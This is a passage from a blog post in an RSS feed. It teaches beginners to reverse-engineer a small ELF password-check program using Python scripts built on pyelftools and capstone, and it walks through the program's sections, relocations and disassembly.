1177   <span class="n">printf</span><span class="p">(</span><span class="s">&quot;password: &quot;</span><span class="p">);</span>
1178   <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>        <span class="c1">// &#39;abcdefghi&#39;</span>
1179   <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
1180       <span class="n">printf</span><span class="p">(</span><span class="s">&quot;haha yes!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1181   <span class="p">}</span>
1182   <span class="k">else</span> <span class="p">{</span>
1183       <span class="n">printf</span><span class="p">(</span><span class="s">&quot;nah dude</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1184   <span class="p">}</span>
1185<span class="p">}</span>
1186</code></pre></div>
1187
1188<p>Compile it with GCC/Clang:</p>
1189
1190<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
1191</code></pre></div>
1192
1193<h3 id="scripting">Scripting</h3>
1194
1195<p>For starters, let’s look at the different sections present in the binary.</p>
1196
1197<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
1198
1199<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1200
1201<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1202    <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1203    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1204        <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
1205</code></pre></div>
1206
1207<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
1208
1209<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
1210<span class="go">0x238 .interp</span>
1211<span class="go">0x254 .note.ABI-tag</span>
1212<span class="go">0x274 .note.gnu.build-id</span>
1213<span class="go">0x298 .gnu.hash</span>
1214<span class="go">0x2c0 .dynsym</span>
1215<span class="go">0x3e0 .dynstr</span>
1216<span class="go">0x484 .gnu.version</span>
1217<span class="go">0x4a0 .gnu.version_r</span>
1218<span class="go">0x4c0 .rela.dyn</span>
1219<span class="go">0x598 .rela.plt</span>
1220<span class="go">0x610 .init</span>
1221<span class="go">0x630 .plt</span>
1222<span class="go">0x690 .plt.got</span>
1223<span class="go">0x6a0 .text</span>
1224<span class="go">0x8f4 .fini</span>
1225<span class="go">0x900 .rodata</span>
1226<span class="go">0x924 .eh_frame_hdr</span>
1227<span class="go">0x960 .eh_frame</span>
1228<span class="go">0x200d98 .init_array</span>
1229<span class="go">0x200da0 .fini_array</span>
1230<span class="go">0x200da8 .dynamic</span>
1231<span class="go">0x200f98 .got</span>
1232<span class="go">0x201000 .data</span>
1233<span class="go">0x201010 .bss</span>
1234<span class="go">0x0 .comment</span>
1235<span class="go">0x0 .symtab</span>
1236<span class="go">0x0 .strtab</span>
1237<span class="go">0x0 .shstrtab</span>
1238</code></pre></div>
1239
1240<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
1241
1242<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
1243
1244<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
1245
1246<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1247<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
1248
1249<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./bin.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1250    <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1251    <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">&#39;.text&#39;</span><span class="p">)</span>
1252    <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
1253    <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]</span>
1254    <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
1255    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>        
1256        <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}&#39;</span><span class="p">)</span>
1257</code></pre></div>
1258
1259<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
1260
1261<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less      </span>
1262<span class="go">0x6a0: xor ebp, ebp</span>
1263<span class="go">0x6a2: mov r9, rdx</span>
1264<span class="go">0x6a5: pop rsi</span>
1265<span class="go">0x6a6: mov rdx, rsp</span>
1266<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
1267<span class="go">0x6ad: push rax</span>
1268<span class="go">0x6ae: push rsp</span>
1269<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
1270<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
1271<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
1272<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
1273<span class="go">0x6ca: hlt</span>
1274<span class="go">... snip ...</span>
1275</code></pre></div>
1276
1277<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
1278
1279<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
1280
1281<blockquote>
1282  <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
1283</blockquote>
1284
1285<p>To try and find these relocation entries, we write a third script.</p>
1286
1287<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
1288
1289<span class="kn">import</span> <span class="nn">sys</span>
1290<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1291<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
1292
1293<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1294    <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1295    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1296        <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
1297            <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{section.name}:&#39;</span><span class="p">)</span>
1298            <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_link&#39;</span><span class="p">])</span>
1299            <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
1300                <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_info_sym&#39;</span><span class="p">])</span>
1301                <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_offset&#39;</span><span class="p">])</span>
1302                <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{symbol.name} {addr}&#39;</span><span class="p">)</span>
1303</code></pre></div>
1304
1305<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
1306
1307<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
1308<span class="go">.rela.dyn:</span>
1309<span class="go"> 0x200d98</span>
1310<span class="go"> 0x200da0</span>
1311<span class="go"> 0x201008</span>
1312<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
1313<span class="go">**__libc_start_main 0x200fe0**</span>
1314<span class="go">__gmon_start__ 0x200fe8</span>
1315<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
1316<span class="go">__cxa_finalize 0x200ff8</span>
1317<span class="go">stdin 0x201010</span>
1318<span class="go">.rela.plt:</span>
1319<span class="go">puts 0x200fb0</span>
1320<span class="go">printf 0x200fb8</span>
1321<span class="go">fgets 0x200fc0</span>
1322<span class="go">strcmp 0x200fc8</span>
1323<span class="go">malloc 0x200fd0</span>
1324</code></pre></div>
1325
1326<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib&#8212;libc-start-main-.html">linuxbase.org</a></p>
1327
1328<blockquote>
1329  <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
1330</blockquote>
1331
1332<p>And its definition is like so</p>
1333
1334<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span> 
1335<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span> 
1336<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
1337<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
1338<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
1339<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
1340</code></pre></div>
1341
1342<p>Looking back at our disassembly</p>
1343
1344<pre><code>0x6a0: xor ebp, ebp
13450x6a2: mov r9, rdx
13460x6a5: pop rsi
13470x6a6: mov rdx, rsp
13480x6a9: and rsp, 0xfffffffffffffff0
13490x6ad: push rax
13500x6ae: push rsp
13510x6af: lea r8, [rip + 0x23a]
13520x6b6: lea rcx, [rip + 0x1c3]
1353**0x6bd: lea rdi, [rip + 0xe6]**
13540x6c4: call qword ptr [rip + 0x200916]
13550x6ca: hlt
1356... snip ...
1357</code></pre>
1358
1359<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
1360
1361<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
1362
1363<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
1364
1365<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
1366
1367<pre><code>printf 0x650
1368fgets  0x660
1369strcmp 0x670
1370malloc 0x680
1371</code></pre>
1372
1373<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
1374
1375<pre><code>0x7b2: mov edi, 0xa  ; 10
13760x7b7: call 0x680    ; malloc
1377</code></pre>
1378
1379<p>The loop to populate the <code>*pw</code> string</p>
1380
1381<pre><code>0x7d0:  mov     eax, dword ptr [rbp - 0x14]
13820x7d3:  cdqe    
13830x7d5:  lea     rdx, [rax - 1]
13840x7d9:  mov     rax, qword ptr [rbp - 0x10]
13850x7dd:  add     rax, rdx
13860x7e0:  movzx   eax, byte ptr [rax]
13870x7e3:  lea     ecx, [rax + 1]
13880x7e6:  mov     eax, dword ptr [rbp - 0x14]
13890x7e9:  movsxd  rdx, eax
13900x7ec:  mov     rax, qword ptr [rbp - 0x10]
13910x7f0:  add     rax, rdx
13920x7f3:  mov     edx, ecx
13930x7f5:  mov     byte ptr [rax], dl
13940x7f7:  add     dword ptr [rbp - 0x14], 1
13950x7fb:  cmp     dword ptr [rbp - 0x14], 8
13960x7ff:  jle     0x7d0
1397</code></pre>
1398
1399<p>And this looks like our <code>strcmp()</code></p>
1400
1401<pre><code>0x843:  mov     rdx, qword ptr [rbp - 0x10] ; *in
14020x847:  mov     rax, qword ptr [rbp - 8]    ; *pw
14030x84b:  mov     rsi, rdx             
14040x84e:  mov     rdi, rax
14050x851:  call    0x670                       ; strcmp  
14060x856:  test    eax, eax                    ; is = 0? 
14070x858:  jne     0x868                       ; no? jump to 0x868
14080x85a:  lea     rdi, [rip + 0xae]           ; "haha yes!" 
14090x861:  call    0x640                       ; puts
14100x866:  jmp     0x874
14110x868:  lea     rdi, [rip + 0xaa]           ; "nah dude"
14120x86f:  call    0x640                       ; puts  
1413</code></pre>
1414
1415<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
1416
1417<p><strong>Update</strong>: It&#8217;s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
1418
1419<h3 id="conclusion">Conclusion</h3>
1420
1421<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
1422
1423<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
1424
1425<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p>
1426]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
1427</rss>